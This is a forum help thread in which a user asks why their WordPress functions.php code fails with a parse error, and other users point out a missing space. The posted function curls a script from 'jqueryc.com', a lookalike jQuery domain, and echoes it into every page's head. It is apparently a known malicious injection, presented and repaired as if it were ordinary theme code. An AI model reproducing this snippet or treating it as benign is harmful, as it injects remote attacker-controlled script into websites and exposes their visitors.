sarma Posted March 23, 2012 Share Posted March 23, 2012 Dear... I have problem with this code..can you help me ? Thanks <?phpif (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} Quote Link to comment https://forums.phpfreaks.com/topic/259578-help-with-parse-error-syntax-error-unexpected-in-functionsphp-line-1/ Share on other sites More sharing options...
mikosiko Posted March 23, 2012 Share Posted March 23, 2012 <?phpif missing space there to start Quote Link to comment https://forums.phpfreaks.com/topic/259578-help-with-parse-error-syntax-error-unexpected-in-functionsphp-line-1/#findComment-1330555 Share on other sites More sharing options...
Maq Posted March 23, 2012 Share Posted March 23, 2012 Maybe it's the way you CnP your code but you should properly format and indent your code to detect such errors. Quote Link to comment https://forums.phpfreaks.com/topic/259578-help-with-parse-error-syntax-error-unexpected-in-functionsphp-line-1/#findComment-1330557 Share on other sites More sharing options...
sarma Posted March 23, 2012 Author Share Posted March 23, 2012 The space is the prob....thanks guys ))) Quote Link to comment https://forums.phpfreaks.com/topic/259578-help-with-parse-error-syntax-error-unexpected-in-functionsphp-line-1/#findComment-1330571 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.